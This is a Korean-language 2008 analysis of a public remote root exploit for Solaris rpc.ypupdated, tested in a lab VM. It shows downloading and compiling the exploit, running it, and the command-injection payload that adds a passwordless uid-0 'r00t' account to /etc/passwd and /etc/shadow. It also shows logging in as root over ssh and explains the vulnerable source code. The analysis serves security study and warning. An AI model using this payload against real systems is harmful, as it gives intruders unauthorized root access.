Sun Solaris <=10 rpc.ypupdated Remote Root Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.26 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 3월 20일에공개된 Sun Solaris <=10 rpc.ypupdated Remote Root Exploit 취약점과그 exploit 코드를분석해보고자합니다. 테스트환경은다음과같습니다. - Host PC : Windows XP Home SP2 5.1.2600 한국어 - App. : VMware Workstation ACE Edition 6.0.2 - Guest PC Sun Solaris 10 한국어 먼저취약한 rpc.ypupdated 은무엇인지알아보도록하겠습니다. rpc.ypypdated는 NIS(Network Information Service) 에정보를 update하는 daemon입니다. NIS는 Sun에의해 1980년에개발되었으며, 중요한시스템설정파일들을공유하는방법으로계정통합을구현한것입니다. 계정통합이란다수의시스템에공통적으로적용될수있는계정과권한관리시스템을만들어내는것을의미하는것입니다. Exploit을위해서는 -i 옵션으로실행해야하는데 -i 옵션은 insecure한 AUTH_UNIX credentials로 RPC call을받아들입니다. 그리고모든네트워크의 programmatic한 NIS map의 update를허용합니다. 공개된 exploit code 를실행해보도록하겠습니다. 먼저 exploit code를다음과같이다운로드받아컴파일합니다. 일반적으로공격은리눅스나 Back Track과같은곳에서하게될것입니다. 본문서에서는 BackTrack에서공격을해보도록하겠습니다. bt ~ wget http://www.milw0rm.com/sploits/2008-ypk2008.tar.gz --13:30:04-- http://www.milw0rm.com/sploits/2008-ypk2008.tar.gz => `2008-ypk2008.tar.gz' Resolving www.milw0rm.com... 76.74.9.18
Connecting to www.milw0rm.com 76.74.9.18 :80... connected. HTTP request sent, awaiting response... 200 OK Length: 2,175 (2.1K) [application/x-tar] 100%[============================================================ =====>] 2,175 --.--K/s 13:30:05 (16.37 MB/s) - `2008-ypk2008.tar.gz' saved [2175/2175] bt ~ ls 2008-ypk2008.tar.gz Desktop/ Set\ IP\ address sample_scripts/ bt ~ tar xvfz 2008-ypk2008.tar.gz README ypk.c ypupdate_prot.h ypupdate_prot_xdr.c bt ~ gcc -c ypupdate_prot_xdr.c bt ~ ls 2008-ypk2008.tar.gz README sample_scripts/ ypupdate_prot.h ypupdate_prot_xdr.o Desktop/ Set\ IP\ address ypk.c ypupdate_prot_xdr.c bt ~ gcc -o exploit ypk.c ypupdate_prot_xdr.o ypk.c: In function 'main': ypk.c:104: warning: passing argument 3 of 'cli->cl_ops->cl_call' from incompatible pointer type ypk.c:104: warning: passing argument 4 of 'cli->cl_ops->cl_call' from incompatible pointer type ypk.c:104: warning: passing argument 5 of 'cli->cl_ops->cl_call' from incompatible pointer type ypk.c:104: warning: passing argument 6 of 'cli->cl_ops->cl_call' from incompatible pointer type ypk.c:54: warning: return type of 'main' is not 'int' bt ~ 참고로공격을 Solaris에서할경우, 그리고시스템에 gcc가깔려있지않다면 www.sunfreeware.com에서대상시스템의 Processor와 OS를선택하고 gcc 패키지를다운로드받습니다. 압축을푼뒤다음과같이설치합니다. pkgadd -d gcc-3.4.6-sol10-x86-local The following packages are available: 1 SMCgcc gcc
(x86) 3.4.6 Select package(s) you wish to process (or 'all' to process all packages). (default: all) [?,??,q]: ( 생략 ) 컴파일과정에서경고메시지가나왔지만아래에서볼수있는것처럼 exploit 실행파일이일단은만들어졌습니다. Solaris 서버에서는취약한 rpc.ypupdated 프로세스가동작중이어야합니다. 따라서서버에서 rpc.ypdated를실행시켜줘야합니다. rpc.ypupdated는 /usr/lib/netsvc/yp 내에있습니다. 다음과같이 -i 옵션으로실행시키도록하겠습니다. ps PID TTY TIME CMD 1028 pts/3 0:00 sh 1702 pts/3 0:00 ps pwd /usr/lib/netsvc/yp./rpc.ypupdated -i ps PID TTY TIME CMD 1028 pts/3 0:00 sh 1735 pts/3 0:00 rpc.ypup 1736 pts/3 0:00 ps 그럼이제 exploit 을실행해보도록하겠습니다. bt ~./exploit 192.168.135.143 bt ~
만약대상서버에취약한 rpc.ypupdated가실행중이지않을경우다음과같은에러메시지를확인할수있습니다. bt ~./exploit 192.168.135.143 clntupd create failure bt ~ Exploit이성공할경우는서버에 r00t라는사용자가추가됩니다. /etc/passwd 파일을확인해보도록하겠습니다. cat /etc/passwd root:x:0:0:super-user:/:/sbin/sh daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:admin:/var/adm: lp:x:71:8:line Printer Admin:/usr/spool/lp: uucp:x:5:5:uucp Admin:/usr/lib/uucp: nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico smmsp:x:25:25:sendmail Message Submission Program:/: listen:x:37:4:network Admin:/usr/net/nls: gdm:x:50:50:gdm Reserved UID:/: webservd:x:80:80:webserver Reserved UID:/: postgres:x:90:90:postgresql Reserved UID:/:/usr/bin/pfksh svctag:x:95:12:service Tag UID:/: nobody:x:60001:60001:nfs Anonymous Access User:/: noaccess:x:60002:60002:no Access User:/: nobody4:x:65534:65534:sunos 4.x NFS Anonymous Access User:/: user:x:100:1::/home/user:/bin/sh r00t::0:0:super-user die zweite:/:/sbin/sh 결과를보면 r00t 사용자의권한은 root 권한과같습니다. 그리고패스워드부분이공백으로되어있으며, 따라서패스워드없이로그인이가능합니다.
그럼이제 remote 에서 r00t 사용자로접속을시도해보도록하겠습니다. bt ~ ssh -l r00t 192.168.135.143 Permission denied (gssapi-keyex,gssapi-with-mic,publickey,keyboard-interactive). 접속을시도하면위처럼 Permission denied가발생합니다. 이것은 Solaris의 ssh에서 root의원격로그인이허용되어있지않은상태이기때문입니다. 이 exploit이성공하기위해서는 root 접속이허용되어야합니다. Solaris 10의경우디폴트로 root 접속이허용되어있지않습니다. 그래서공격에성공한후서버에접속하기위해서는 Solaris 내 /etc/ssh/sshd_config 파일의다음부분을수정해야합니다. cd /etc/ cd ssh vi sshd_config Are root logins permitted using sshd. Note that sshd uses pam_authenticate(3pam) so the root (or any other) user maybe denied access by a PAM module regardless of this setting. Valid options are yes, without-password, no. PermitRootLogin no PermitRootLogin yes Solaris 에서 sshd 를다시실행시킨후접속을시도해보겠습니다. bt ~ ssh -l r00t 192.168.135.143 The authenticity of host '192.168.135.143 (192.168.135.143)' can't be established. RSA key fingerprint is 4d:77:7a:51:b1:2e:48:65:22:72:bf:9a:d0:90:2b:98. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.135.143' (RSA) to the list of known hosts. Last login: Wed Mar 26 11:17:26 2008 Sun Microsystems Inc. SunOS 5.10 Generic January 2005
id uid=0(root) gid=0(root) 드디어 r00t 사용자로로그인했고, id를확인해보니 root임을알수있습니다. 앞에서언급한바와같이로그인시패스워드는필요하지않습니다. 지금까지는공개된 exploit code를실행해본결과입니다. 이제는 exploit code와취약점자체에대해살펴보도록하겠습니다. 먼저 exploit 코드를살펴보겠습니다. 설명은주석으로대신하겠습니다. void main(argc, argv) { // pipe를통해명령수행. passwd 파일과 shadow 파일에암호없는 root권한의 r00t계정만듬. char * comm = " echo \"r00t::0:0:super-user die zweite:/:/sbin/sh\" >> /etc/passwd;echo \"r00t::6445::::::\" >> /etc/shadow;"; // mapname으로 comm 변수값저장 yparg.mapname=comm; // remote program을대상으로 rpc client를생성 if ((cli=clntudp_create(&skn,prog,vers,timeval,&desc))==null){ printf("clntudp_create failure\n"); exit(1); // authentication 정보를담고있는 RPC authentication handle 생성 cli->cl_auth=authunix_create("localhost",0,0,0,0); // remote procedure 호출. clnt_call(cli,1,xdr_ypupdate_args,&yparg,xdr_u_int,&rtnval,timeval);
간단히정리해보자면 pipe 이후의명령어들을 mapname으로설정한뒤 RPC 호출을하는것입니다. 매우단순한코드라고볼수있습니다. 그럼이제취약점자체에대해살펴보도록하겠습니다. SecurityProof 포럼게시판에 trustno1님께서 ypupdated 소스를링크해주셨습니다. http://opensolaris.org/sc/src/brussels/brussels-gate/usr/src/cmd/ypcmd/ypupdated.c 그리고내부적으로사용되는 _openchild() 함수소스는아래링크를참조했습니다. http://opengrok.creo.hu/dragonfly/raw/src/usr.bin/newkey/update.c 그럼취약점을가지는 ypupdated 소스코드를살펴보도록하겠습니다. // ypupdated.c static update(requester, mapname, op, keylen, key, datalen, data) { char updater[maxmapnamelen + 40]; sprintf(updater, "/usr/ccs/bin/make -s -f %s %s", UPDATEFILE, mapname); pid = _openchild(updater, &childargs, &childrslt); // openchild.c static int _openchild(char *command, FILE **fto, FILE **ffrom) { int i; pid_t pid; int pdto[2]; int pdfrom[2]; char *com; struct rlimit rl; if (pipe(pdto) < 0) { goto error1; if (pipe(pdfrom) < 0) { goto error2;
switch (pid = fork()) { case -1: goto error3; case 0: /* * child: read from pdto[0], write into pdfrom[1] */ (void)close(0); (void)dup(pdto[0]); (void)close(1); (void)dup(pdfrom[1]); getrlimit(rlimit_nofile, &rl); for (i = rl.rlim_max - 1; i >= 3; i--) { (void) close(i); com = malloc((unsigned) strlen(command) + 6); if (com == NULL) { _exit(~0); (void)sprintf(com, "exec %s", command); execl(shell, basename(shell), "-c", com, NULL); _exit(~0); default: /* * parent: write into pdto[1], read from pdfrom[0] */ *fto = fdopen(pdto[1], "w"); (void)close(pdto[0]); *ffrom = fdopen(pdfrom[0], "r"); (void)close(pdfrom[1]); break; return (pid); 소스코드를보시면알수있듯이 ypupdated내의 update() 함수가호출되면 (client로부터 update 요청을받은경우 ) exploit 코드에서의 comm 변수값이그대로 mapname 변수에전달됩니다. 이값은 sprintf() 함수를통해 updater 라는변수에함께저장되는데여기에는 make 명령어가실행
되도록값이저장됩니다. 그리고 _openchild() 함수내의 execl() 함수를통해 comm에저장되어있던 /etc/passwd와 /etc/shadow 파일에임의의값을추가하는명령어가실행될수있습니다. 물론취약한 ypupdated 자체는 root권한을가지고있어야합니다. 살펴본바와같이간단한취약점으로 Solaris <=10 이하시스템이 rpc.ypupdated i 로프로세스가실행중인경우취약합니다. 그리고 exploit이된경우는임의의사용자가추가되어있을수있습니다. 발표된 exploit code내의 README 파일을보면이취약점이 1994년에발견되었다고합니다. 만약 rpc.ypupdated를사용중인 Solaris 서버관리자분들의각별한주의가요구됩니다. 참고문헌 Solaris Server Bible, 이상묵, 김용우공저, 영진출판사, Ch15 계정통합시스템의구축 http://gcc.gnu.org/ml/gcc/1999-08n/msg01022.html - how to install gcc on Solaris